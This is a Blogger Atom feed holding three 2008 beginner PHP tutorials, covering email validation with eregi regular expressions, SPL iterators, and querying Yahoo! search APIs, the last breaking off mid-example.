of documentation in this area. This article will provide you with an insight as to what they are, how they are useful, and how to apply them.&lt;br /&gt;What are Regular Expressions?&lt;br /&gt;&lt;br /&gt;Regular expressions started out as a feature of the Unix shell. They were designed to make it easier to find, replace and work with strings -- and since their invention, they've been in wide use in many different parts of Unix based Operating Systems. They were commonly used in Perl, and since then have been implemented into PHP.&lt;br /&gt;What could I use them for?&lt;br /&gt;&lt;br /&gt;There are a few common uses for regular expressions. Perhaps the most useful is form validation. For example, you could use regular expressions to check that an email address entered into a form uses the correct syntax. We'll consider this specific example later on in this article.&lt;br /&gt;&lt;br /&gt;You could also use them to complete complex search and replace operations within a given body of text that would not be possible with PHP's standard str_replace function. Yes, the possibilities are endless!&lt;br /&gt;How do I use them?&lt;br /&gt;&lt;br /&gt;Let's look at how we might use a regular expression to check the syntax of an email address entered into a form that's submitted to a PHP script.&lt;br /&gt;&lt;br /&gt;There are two types of regular expression functions included in PHP:&lt;br /&gt;&lt;br /&gt;# the ereg functions -- PHP's standard regular expression syntax&lt;br /&gt;# the preg functions, which use a Perl-compatible regular expression syntax&lt;br /&gt;&lt;br /&gt;For this article we'll use the eregi function. The eregi function is used to match a string to a particular regular expression. The 'i' in the function name means 'case insensitive' -- you can also use ereg if you want it to be case sensitive.&lt;br /&gt;&lt;br /&gt;You can see the PHP Manual pages for the eregi function here.&lt;br /&gt;&lt;br /&gt;Now, as you know, email address are always in a particular format:&lt;br /&gt;&lt;br /&gt;username @ domain . extension&lt;br /&gt;&lt;br /&gt;That makes them an ideal candidate to be tested with a regular expression. So let's take a look at an expression I wrote to check the validity of an email address. We'll look at each section of the expression individually, and then I'll include a syntax reference at the end of the article. But first, here's the expression itself:&lt;br /&gt;&lt;br /&gt;eregi('^[a-zA-Z0-9._-]+@[a-zA-Z0-9-]&lt;br /&gt;+\.[a-zA-Z.]{2,5}$', $email)&lt;br /&gt;&lt;br /&gt;If you're anything like I was when I first used regular expressions, that example probably looks very confusing! Let's split it into sections and make sense of each part individually:&lt;br /&gt;&lt;br /&gt;^[a-zA-Z0-9._-]+@&lt;br /&gt;&lt;br /&gt;This part of the expression validates the 'username' section of the email address. The hat sign (^) at the beginning of the expression represents the start of the string. If we didn't include this, then someone could key in anything they wanted before the email address and it would still validate.&lt;br /&gt;&lt;br /&gt;Contained in the square brackets are the characters we want to allow in this part of the address. Here, we are allowing the letters a-z, A-Z, the numbers 0-9, and the symbols underscore (_), period (.), and dash (-). As you've probably noticed, I've included letters both in capitals and lower case. In this instance, this isn't strictly necessary, as we're using the eregi (case insensitive) function. But I've included them here for completeness, and to show you how the functions work. The order of the character pairs within the brackets doesn't matter.&lt;br /&gt;&lt;br /&gt;The plus (+) sign after the square brackets indicates 'one or more of the contents of the previous brackets'. So, in this case, we require one or more of any of the characters in the square brackets to be included in the address in order for it to validate. Finally, there is the '@' sign, which means that we require the presence of one @ sign immediately following the username.&lt;br /&gt;&lt;br /&gt;[a-zA-Z0-9._-]+\.&lt;br /&gt;&lt;br /&gt;This part of the expression is very similar to the section we t looked at. It validates the domain name in the email address. As before, we have a series of characters in square brackets that we'll allow in this part of the address, followed by a plus (+) sign, requiring one or more of those characters.&lt;br /&gt;&lt;br /&gt;At the end of this section, there is a backslash, then a period sign. This tells the expression that a period is required at this point in the expression (ie. between the domain and extension). However, the backslash is slightly more complicated. In a regular expression, a period actually means 'any character'. In order to make this expression take the period's literal value rather than use it as a wildcard for any character, we need to 'escape' it -- this is done by preceding the period with a backslash. You may have come across this before if you use databases such as MySQL, as escaping characters is very important there too.&lt;br /&gt;&lt;br /&gt;[a-zA-Z]{2,4}$&lt;br /&gt;&lt;br /&gt;This is the final part of the expression. At the beginning is another set of characters enclosed in square brackets. This time, I have simply allowed the letters a-z and A-Z, because numbers and other characters are not valid in domain extensions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-3806367473070310386?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/3806367473070310386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=3806367473070310386&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3806367473070310386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3806367473070310386'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/using-regular-expressions-in-php.html' title='Using Regular Expressions in PHP'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-6247209763406750080</id><published>2008-03-21T03:25:00.000-07:00</published><updated>2008-03-21T03:35:41.745-07:00</updated><title type='text'>Introducing PHP 5's Standard Library</title><content type='html'>Much of the buzz surrounding PHP5 has focused on its new object-oriented syntax and capabilities, and comparisons with Java. While all that was going on, the promisingly named "Standard PHP Library" (SPL) extension quietly made its way into the core PHP 5 distribution.&lt;br /&gt;&lt;br /&gt;Although work is still in progress, the Standard PHP Library's current offering significantly increases the chances of getting PHP developers to agree on something (thereby increasing the chances of code re-use). It may also make your cunningly constructed class interface very easy for other people to use, as the SPL extension makes it possible to "overload" basic PHP syntax and make objects look like normal PHP arrays.&lt;br /&gt;&lt;br /&gt;In this tutorial, I'll introduce the functionality available with the SPL extension and PHP5 with just enough examples to get you started. Be warned: PHP5's syntax will be used. If you need to catch up, try SitePoint's PHP5 review.&lt;br /&gt;&lt;br /&gt;Today's iterations:&lt;br /&gt;&lt;br /&gt;    * Introducing the SPL: what's it all about?&lt;br /&gt;    * Looping the Loop: did someone say Iterator?&lt;br /&gt;    * Iterations foreach of us: the "wow" factor&lt;br /&gt;    * Admiring the Tree: a short tour of SPL classes and interfaces&lt;br /&gt;    * Objects as Arrays: easier for your web page designer&lt;br /&gt;    * The Big Deal: why you gotta like it&lt;br /&gt;&lt;br /&gt;Don't for get to download all the code included in this article for your own use.&lt;br /&gt;Introducing the SPL&lt;br /&gt;&lt;br /&gt;The "Standard PHP Library" is a PHP extension developed by Marcus Boerger which (as the manual says) "is a collection of interfaces and classes that are meant to solve standard problems." As part of the core distribution of PHP5, it should be "always on".&lt;br /&gt;&lt;br /&gt;If you've been around the block with PHP4, you'll know there are a few areas in which wheels are perpetually re-invented by almost every new PHP project. Standardizing some of the fundamentals is a good way to get PHP developers singing from the same sheet, and increases the chances of our being able to re-use code from Project X in Project Y.&lt;br /&gt;&lt;br /&gt;Today the SPL extension addresses a single subset of problems: Iterators. What makes the SPL Iterator implementation interesting is not only that it defines a standard for everyone to use in PHP5, but also that it "overloads" certain parts of PHP syntax such as the foreach construct and basic array syntax, making it easier to work with objects of your classes.&lt;br /&gt;Looping the Loop&lt;br /&gt;&lt;br /&gt;So, what is an Iterator? In this context, Iterator refers to a software "design pattern", identified by the "Gang of Four" in their ground-breaking Design Patterns book.&lt;br /&gt;&lt;br /&gt;The intent of an Iterator is to "provide an object which traverses some aggregate structure, abstracting away assumptions about the implementation of that structure."&lt;br /&gt;&lt;br /&gt;As with all general definitions, the exact meaning of this statement may be none too clear at first glance.&lt;br /&gt;&lt;br /&gt;By "aggregate structure" we're basically talking about anything you might "loop over" in PHP, such as the rows in a database result set, a list of files in a directory or each new line in a text file.&lt;br /&gt;&lt;br /&gt;Using "normal" PHP, you might use the following to loop through a MySQL query:&lt;br /&gt;&lt;br /&gt;// Fetch the "aggregate structure"&lt;br /&gt;$result = mysql_query("SELECT * FROM users");&lt;br /&gt;&lt;br /&gt;// Iterate over the structure&lt;br /&gt;while ( $row = mysql_fetch_array($result) ) {&lt;br /&gt;   // do stuff with the row here&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;To read the contents of a directory, you might use:&lt;br /&gt;&lt;br /&gt;// Fetch the "aggregate structure"&lt;br /&gt;$dh = opendir('/home/harryf/files');&lt;br /&gt;&lt;br /&gt;// Iterate over the structure&lt;br /&gt;while ( $file = readdir($dh) ) {&lt;br /&gt;   // do stuff with the file here&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;And to read the contents of a file, you might use:&lt;br /&gt;&lt;br /&gt;// Fetch the "aggregate structure"&lt;br /&gt;$fh = fopen("/home/hfuecks/files/results.txt", "r");&lt;br /&gt;&lt;br /&gt;// Iterate over the structure&lt;br /&gt;while (!feof($fh)) {&lt;br /&gt;&lt;br /&gt;   $line = fgets($fh);&lt;br /&gt;   // do stuff with the line here&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;A glance at the above examples shows that they're very similar. Although each one works with a different type of resource, and uses PHP functions specific to that resource, the mantra is simple: "fetch resource; loop over contents".&lt;br /&gt;&lt;br /&gt;If it was somehow possible to "abstract out" the specific PHP functions from the above examples and use some kind of generic interface instead, it might be possible to make the job of looping over the data look the same, irrespective of the type of resource that was being used. With no requirement to modify the loop for a different data source, it may be possible for the code in which the loop appears (perhaps a function that generated an HTML list) to be reused elsewhere.&lt;br /&gt;&lt;br /&gt;That's where an Iterator comes in. The Iterator defines an abstract interface for use by your code. Specific implementations of the Iterator take care of each different type of structure with which you want to work, without the code that uses the Iterator having to care about the details.&lt;br /&gt;&lt;br /&gt;That's the basic theory of Iterators. If you're interested to know more, you'll find starting points at the C2 Wiki and Wikipedia. More thoughts from me can be found at phpPatterns on the Iterator Pattern and in The PHP Anthology - Volume II, Applications.&lt;br /&gt;Iterations foreach of Us&lt;br /&gt;&lt;br /&gt;So what's so exciting about the SPL Iterators? Well, if you've written more than a line or two of PHP, you've probably run into the foreach construct, which is used to make easy work of looping through an array:&lt;br /&gt;&lt;br /&gt;// A list of colors&lt;br /&gt;$colors = array (&lt;br /&gt;   'red',&lt;br /&gt;   'green',&lt;br /&gt;   'blue',&lt;br /&gt;   );&lt;br /&gt;&lt;br /&gt;foreach ( $colors as $color ) {&lt;br /&gt;   echo $color.'&lt;br&gt;';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Wouldn't it be nice if all loops where that easy, irrespective of whatever it was that you were looping over?&lt;br /&gt;&lt;br /&gt;How about this?&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// A magic class... (explained in a moment)&lt;br /&gt;class DirectoryReader extends DirectoryIterator {&lt;br /&gt;&lt;br /&gt; function __construct($path) {&lt;br /&gt;   parent::__construct($path);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; function current() {&lt;br /&gt;   return parent::getFileName();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; function valid() {&lt;br /&gt;   if ( parent::valid() ) {&lt;br /&gt;     if ( !parent::isFile() ) {&lt;br /&gt;       parent::next();&lt;br /&gt;       return $this-&gt;valid();&lt;br /&gt;     }&lt;br /&gt;     return TRUE;&lt;br /&gt;   }&lt;br /&gt;   return FALSE;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; function rewind() {&lt;br /&gt;   parent::rewind();&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Create a directory reader for the current directory&lt;br /&gt;$Reader = new DirectoryReader('./');&lt;br /&gt;&lt;br /&gt;// Loop through the files in the directory ?!?&lt;br /&gt;foreach ( $Reader as $Item ) {&lt;br /&gt; echo $Item.'&lt;br&gt;';&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Filename: directoryreader.php&lt;br /&gt;&lt;br /&gt;If you ignore the class itself for a moment and look at the last few lines, you'll see that I've used the DirectoryReader object right there in the foreach loop. I've pulled items from it without having to call any of its methods! So long as you obey certain rules (which I'll get to shortly), the SPL extension allows to iterate over your own classes (where appropriate) in just the same way.&lt;br /&gt;&lt;br /&gt;In fact, with the above example, I've jumped in at the deep end! Let's take a few steps back so I can explain what really happened here.&lt;br /&gt;Iteration with SPL&lt;br /&gt;&lt;br /&gt;Now that your appetite is whet, you first need to be warned that the PHP manual currently lacks the capabilities needed to fully document the SPL extension. It's geared primarily to documenting native functions, and lacks a clear means to fully describe something like an in-built class; interfaces fail even to get a mention.&lt;br /&gt;&lt;br /&gt;Instead, you'll need to look at the generated documentation Marcus maintains, and trawl the source under CVS. Be aware also that the SPL extension is a moving target that's being actively developed and expanded. The code in this tutorial was tested under PHP 5.0.1, but if you're reading at a significantly distant point in the future, you may find parts of this code outdated.&lt;br /&gt;&lt;br /&gt;The SPL extension defines a hierarchy of classes and interfaces. Some of these will already be loaded in your PHP5 installation (see what get_declared_classes() turns up). They correspond the interface and class definitions defined here and here (the PHP files found here should disappear eventually, once Marcus has time to implement them in C). Some of classes found in the examples directory (with the .inc extension) also form part of the hierarchy, but are not loaded by default; if you wish to use them, you'll need to make sure copies for inclusion are located somewhere in your PHP include path. More examples of the classes' use can be found with the tests while independent examples can be found at http://www.wiki.cc/php/PHP5#Iterators.&lt;br /&gt;&lt;br /&gt;Although the number of classes and interfaces in the hierarchy may be daunting at first, don't panic! Basic use of the iterators requires only a single interface. If you're new to the idea of interfaces, have a look at this discussion of interfaces on SitePoint.&lt;br /&gt;&lt;br /&gt;I'll summarize the purpose of all the pre-loaded classes and interfaces later in this tutorial, for you to browse at your leisure. Once you start to grasp what's on offer, you'll realize that Marcus has done an amazing job of addressing the most common, loop-related problems that recur in PHP. Life will get easier...&lt;br /&gt;&lt;br /&gt;Let's return to the DirectoryReader example. How was it that I was able to iterate over my DirectoryReader object using foreach? The magic comes from the class I extended from, DirectoryIterator, which implements an interface called Iterator that's defined by the SPL extension.&lt;br /&gt;&lt;br /&gt;Any class I write that implements the Iterator interface can be used in a foreach loop (note that this article explains how this works from the point of view of PHP internals). The Iterator interface is defined as follows:&lt;br /&gt;&lt;br /&gt;interface Iterator extends Traversable {&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Rewind the Iterator to the first element.&lt;br /&gt;   * Similar to the reset() function for arrays in PHP&lt;br /&gt;   * @return void&lt;br /&gt;   */&lt;br /&gt;   function rewind();&lt;br /&gt;   &lt;br /&gt;   /**&lt;br /&gt;   * Return the current element.&lt;br /&gt;   * Similar to the current() function for arrays in PHP&lt;br /&gt;   * @return mixed current element from the collection&lt;br /&gt;   */&lt;br /&gt;   function current();&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Return the identifying key of the current element.&lt;br /&gt;   * Similar to the key() function for arrays in PHP&lt;br /&gt;   * @return mixed either an integer or a string&lt;br /&gt;   */&lt;br /&gt;   function key();&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Move forward to next element.&lt;br /&gt;   * Similar to the next() function for arrays in PHP&lt;br /&gt;   * @return void&lt;br /&gt;   */&lt;br /&gt;   function next();&lt;br /&gt;   &lt;br /&gt;   /**&lt;br /&gt;   * Check if there is a current element after calls to rewind() or next().&lt;br /&gt;   * Used to check if we've iterated to the end of the collection&lt;br /&gt;   * @return boolean FALSE if there's nothing more to iterate over&lt;br /&gt;   */&lt;br /&gt;   function valid();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Note that the SPL extension registers the Traversable interface from which Iterator inherits with the Zend Engine to allow the use of foreach. The Traversable interface is not meant to be implemented directly in PHP, but by other built-in PHP classes (currently, the SimpleXML extension does this; the SQLite extension probably should do this but, right now, it talks directly to the Zend API).&lt;br /&gt;&lt;br /&gt;To implement this interface, your class must provide all of the methods defined above.&lt;br /&gt;&lt;br /&gt;To show you how this works, I'll start by re-inventing the wheel and implementing an Iterator for native PHP arrays. Obviously, this is a pointless exercise, but it helps us understand how it works without getting lost in specific details.&lt;br /&gt;&lt;br /&gt;To begin, I define a class to manage the iteration:&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* An iterator for native PHP arrays, re-inventing the wheel&lt;br /&gt;*&lt;br /&gt;* Notice the "implements Iterator" - important!&lt;br /&gt;*/&lt;br /&gt;class ArrayReloaded implements Iterator {&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * A native PHP array to iterate over&lt;br /&gt;   */&lt;br /&gt; private $array = array();&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * A switch to keep track of the end of the array&lt;br /&gt;   */&lt;br /&gt; private $valid = FALSE;&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Constructor&lt;br /&gt;   * @param array native PHP array to iterate over&lt;br /&gt;   */&lt;br /&gt; function __construct($array) {&lt;br /&gt;   $this-&gt;array = $array;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Return the array "pointer" to the first element&lt;br /&gt;   * PHP's reset() returns false if the array has no elements&lt;br /&gt;   */&lt;br /&gt; function rewind(){&lt;br /&gt;   $this-&gt;valid = (FALSE !== reset($this-&gt;array));&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Return the current array element&lt;br /&gt;   */&lt;br /&gt; function current(){&lt;br /&gt;   return current($this-&gt;array);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Return the key of the current array element&lt;br /&gt;   */&lt;br /&gt; function key(){&lt;br /&gt;   return key($this-&gt;array);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Move forward by one&lt;br /&gt;   * PHP's next() returns false if there are no more elements&lt;br /&gt;   */&lt;br /&gt; function next(){&lt;br /&gt;   $this-&gt;valid = (FALSE !== next($this-&gt;array));&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;   /**&lt;br /&gt;   * Is the current element valid?&lt;br /&gt;   */&lt;br /&gt; function valid(){&lt;br /&gt;   return $this-&gt;valid;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Filename: arrayreloaded.php&lt;br /&gt;&lt;br /&gt;Notice the "implements Iterator" at the start. This says I'm agreeing to abide by the Iterator "contract" and will provide all the required methods. The class then provides implementations of each method, performing the necessary work using PHP's native array functions (the comments explain the detail).&lt;br /&gt;&lt;br /&gt;There are a couple of points of the Iterator's design that are worth being aware of when you write your own. The current() and key() Iterator methods could be called multiple times within a single iteration of the loop, so you need to be careful that calling them doesn't modify the state of the Iterator. That's not a problem in this case, but when working with files, for example, the temptation may be to use fgets() inside the current() method, which would advance the file pointer.&lt;br /&gt;&lt;br /&gt;Otherwise, remember the valid() method should indicate whether the current element is valid, not the next element. What this means is that, when looping over the Iterator, we'll actually advance one element beyond the end of the collection and only discover the fact when valid() is called. Typically, it will be the next() and rewind() methods that actually move the Iterator and take care of tracking whether the current element is valid or not.&lt;br /&gt;&lt;br /&gt;I can now use this class as follows:&lt;br /&gt;&lt;br /&gt;// Create iterator object&lt;br /&gt;$colors = new ArrayReloaded(array ('red','green','blue',));&lt;br /&gt;&lt;br /&gt;// Iterate away!&lt;br /&gt;foreach ( $colors as $color ) {&lt;br /&gt; echo $color."&lt;br&gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;It's very easy to use! Behind the scenes, the foreach construct calls the methods I defined, beginning with rewind(). Then, so long as valid() returns TRUE, it calls current() to populate the $color variable, and next() to move the Iterator forward one element.&lt;br /&gt;&lt;br /&gt;As is typical with foreach, I can also populate another variable with the value returned from the key() method:&lt;br /&gt;&lt;br /&gt;// Display the keys as well&lt;br /&gt;foreach ( $colors as $key =&gt; $color ) {&lt;br /&gt; echo "$key: $color&lt;br&gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Of course, nothing requires me to use foreach. I could call the methods directly from my code, like so:&lt;br /&gt;&lt;br /&gt;// Reset the iterator - foreach does this automatically&lt;br /&gt;$colors-&gt;rewind();&lt;br /&gt;&lt;br /&gt;// Loop while valid&lt;br /&gt;while ( $colors-&gt;valid() ) {&lt;br /&gt;&lt;br /&gt;   echo $colors-&gt;key().": ".$colors-&gt;current()."&lt;br&gt;";&lt;br /&gt;   $colors-&gt;next();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This example should help you see what foreach actually does to your object.&lt;br /&gt;&lt;br /&gt;Note that the crude benchmarks I've performed suggest that calling the methods directly is faster than using foreach, because the latter introduces another layer of redirection that must be resolved at runtime by PHP.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-6247209763406750080?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/6247209763406750080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=6247209763406750080&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/6247209763406750080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/6247209763406750080'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/introducing-php-5s-standard-library.html' title='Introducing PHP 5&apos;s Standard Library'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-3716246019472945881</id><published>2008-03-21T03:06:00.000-07:00</published><updated>2008-03-21T03:10:54.719-07:00</updated><title type='text'>Whip Up a Yahoo! Mashup Using PHP</title><content type='html'>Yahoo! Search&lt;br /&gt;Want to build a search function for your web site, or add related links to your web application? One of the more&lt;br /&gt;traditional APIs from Yahoo!, the Search API allows powerful querying of the Yahoo! web search database.&lt;br /&gt;Christian Langreiter offers a comparison of Yahoo and Google search results [14] in one of his mashups.&lt;br /&gt;Each API has different usage restrictions, so check the relevant guidelines before you begin to develop an&lt;br /&gt;application. Some APIs have rate limiting -- for example, the Web Search API is restricted to 5000 queries per IP&lt;br /&gt;address per 24 hour period. In addition, not all APIs can be used for commercial purposes. Yahoo! requires&lt;br /&gt;developers to register their applications with the developer network to receive an application ID, and include this&lt;br /&gt;application ID in each request they make to an API. While this data doesn't affect rate limiting, it allows Yahoo! to&lt;br /&gt;monitor API usage and contact developers if needed. You can get an application ID [15] -- and you'll need one to&lt;br /&gt;try out the sample code in this article.&lt;br /&gt;Consuming the Yahoo! APIs&lt;br /&gt;All the standard Yahoo! APIs are RESTful in nature [16]; data is accessed via standard HTTP requests, where&lt;br /&gt;query parameters are passed to the API through the URL. What this means is that you can fetch data from the&lt;br /&gt;API as easily as you would fetch the HTML source of any web page, and you can test requests using any browser&lt;br /&gt;that will render [17]. Take this sample URL:&lt;br /&gt;http://api.search.yahoo.com/WebSearchService/V1/webSearch?&lt;br /&gt;appid=YahooDemo&amp;query=SitePoint&amp;results=2&lt;br /&gt;XML&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;4 of 16 2/17/2008 10:16 PM&lt;br /&gt;Try it out -- visit the URL in your browser [18] and take a look at the XML output. Since the output is XML,&lt;br /&gt;however, we need to parse the response XML with PHP in order to make use of it. A number of classes and XML&lt;br /&gt;parsing functions are readily available for PHP, but Yahoo! goes a step further: it provides an option to get all the&lt;br /&gt;output data in serialized form. This means that you can quickly fetch the data, run it through the&lt;br /&gt;unserialize [19] function and start working with the data immediately. To get PHP serialized output, just&lt;br /&gt;append &amp;output=php to the query string. Here's a simple script that searches the web for "SitePoint" using the&lt;br /&gt;web search API, all in three effective lines of code:&lt;br /&gt;&lt;?php&lt;br /&gt;$output = file_get_contents(&lt;br /&gt;'http://api.search.yahoo.com/WebSearchService/V1/'.&lt;br /&gt;'webSearch?appid=your-app-id-here'.&lt;br /&gt;'&amp;query=SitePoint'.&lt;br /&gt;'&amp;results=2'.&lt;br /&gt;'&amp;output=php'&lt;br /&gt;);&lt;br /&gt;$output = unserialize($output);&lt;br /&gt;echo '&lt;code&gt;'.print_r($output,TRUE).'&lt;/code&gt;';&lt;br /&gt;?&gt;&lt;br /&gt;Examining this snippet, we see that we first fetch the data in PHP format using the file_get_contents&lt;br /&gt;[20] function, then convert it to an associative [21] with unserialize, before outputting a dump of the array&lt;br /&gt;with print_r. I should note here that to be able to use file_get_contents to open a URL requires the&lt;br /&gt;allow_url_fopen setting to be enabled in php.ini. Check with your host if you're not sure if this setting&lt;br /&gt;is in place. Let's take a look at the output. $output['ResultSet']['Result'] contains the data we're&lt;br /&gt;looking for. Here's a snippet of the first search result:&lt;br /&gt;[Title] =&gt; SitePoint : New Articles, Fresh Thinking for Web Developers&lt;br /&gt;and Designers&lt;br /&gt;[Summary] =&gt; Network of sites that provice information, tools, and&lt;br /&gt;resources for internet-focused businesses and web developers, including&lt;br /&gt;WebmasterBase.com, eCommerceBase.com, and PromotionBase.com.&lt;br /&gt;[Url] =&gt; http://www.sitepoint.com/&lt;br /&gt;Compare this with the first result for the term "SitePoint" on the official Yahoo! Search site and you'll see it's the&lt;br /&gt;same.&lt;br /&gt;All the data you would normally get through a Yahoo! search is available through the API! Forget messy screen&lt;br /&gt;scraping -- Yahoo! makes it easy to get the search results directly. With another few lines of code, we can turn our&lt;br /&gt;array into a full search results page. You can probably already see how to make a search engine with the Yahoo!&lt;br /&gt;web search API here -- it's that simple! Building your own search engine from scratch would usually involve&lt;br /&gt;buying a data centre and spending years spidering the web, but Yahoo! provides all the data free of charge (with&lt;br /&gt;usage restrictions, of course). You may have heard of rollyo.com [22], a site that lets you create your search&lt;br /&gt;engine. Well, Rollyo is built using the Yahoo! APIs. With just a few lines of PHP, we can query the Yahoo! web&lt;br /&gt;search API, parse the API output, extract the data, format it and output it -- that's a lot of power to have available&lt;br /&gt;at your fingertips.&lt;br /&gt;array&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;5 of 16 2/17/2008 10:16 PM&lt;br /&gt;Most of the Yahoo! APIs are just as easy to use as Web Search, and Yahoo! provides a guide to constructing REST&lt;br /&gt;queries [23] if you need further information about fetching data from the APIs. Each API method has a&lt;br /&gt;documentation page outlining the parameters available, return values, possible output formats (XML, PHP, etc.)&lt;br /&gt;and potential errors. It should be noted that all parameters are URL encoded, so php code should become&lt;br /&gt;php+code, or the API may return unexpected output. PHP's inbuilt urlencode [24] function is sufficient for&lt;br /&gt;this task. As a general guide, each service has a base URL something like the following:&lt;br /&gt;http://api.search.yahoo.com/WebSearchService/V1/webSearch&lt;br /&gt;Each service requires certain parameters, one of which will be your application ID, and most services will have a&lt;br /&gt;query parameter. In the previous example search, we use the parameters appid, query, results and&lt;br /&gt;output. In this case, appid is the application ID, query is what we are searching for ("SitePoint") and&lt;br /&gt;output is the format we want the API output in (php for serialized PHP form, optional). The results&lt;br /&gt;parameter is optional, however I use it here to limit the output to two search results in order to reduce server&lt;br /&gt;load. If you don't need the standard 10 results, limiting the output through the results parameter is highly&lt;br /&gt;advisable. We append a question mark and the parameters to the URI, separating each parameter with an&lt;br /&gt;ampersand (&amp;) and using the standard option=value format, just like any other HTTP request.&lt;br /&gt;So now that you've had a gentle introduction to the usage of Yahoo! APIs, how they behave and what they provide&lt;br /&gt;access to, let's take things up a notch and look at how we can actually put these APIs to good use.&lt;br /&gt;PHP 5 and the Yahoo! APIs&lt;br /&gt;PHP 5 has a number of features that help us make effective use of the Yahoo! APIs. PHP 5's improved internal&lt;br /&gt;[25] support enables developers to efficiently build applications, and we can take advantage of this by using&lt;br /&gt;classes to rapidly develop libraries that make use of the Yahoo! APIs. The introduction of the&lt;br /&gt;file_get_contents function allows easy querying of the APIs, and as I mentioned before, PHP has the&lt;br /&gt;added advantage of receiving serialized output from most of the APIs with inbuilt parsing functions. Even though&lt;br /&gt;the HTTP extension [26] is available in PHP 5, we won't need it for low-end API consumption. PHP 5 developers&lt;br /&gt;can easily query the APIs, parse the output, deal with errors and make use of the data without too much trouble.&lt;br /&gt;Quick and Easy Mashups&lt;br /&gt;To demonstrate the power of the Yahoo! APIs, we're going to put together a very simple, practical application&lt;br /&gt;using PHP 5 and various Yahoo! APIs. What we want to do is query the local search API for data from Yahoo!&lt;br /&gt;Local, where users discuss and rate local attractions, businesses and so on. Then we'll place that data on a map,&lt;br /&gt;showing geographically where those attractions are located.&lt;br /&gt;YahooAPI Client Class in PHP 5&lt;br /&gt;To make our lives easier, we're going to use a PHP class that helps us to query the Yahoo! APIs. The base class&lt;br /&gt;needs to have the following functionality:&lt;br /&gt;Set the web service to be used.&lt;br /&gt;Add parameters to the request.&lt;br /&gt;Execute the call to the remote API.&lt;br /&gt;Fetch the output.&lt;br /&gt;I've built a very simple, extensible class to do just this, called YahooAPI -- take a look in the code archive for&lt;br /&gt;this article [27]. While I won't go into the details of the YahooAPI class, using it is very easy. In the previous&lt;br /&gt;OOP&lt;br /&gt;Whip Up a Yahoo! Mashup Using PHP http://www.sitepoint.com/print/yahoo-mashup-php&lt;br /&gt;6 of 16 2/17/2008 10:16 PM&lt;br /&gt;example we searched for "SitePoint" on the Web. The same task can be achieved very easily with the class:&lt;br /&gt;$api = new YahooAPI();&lt;br 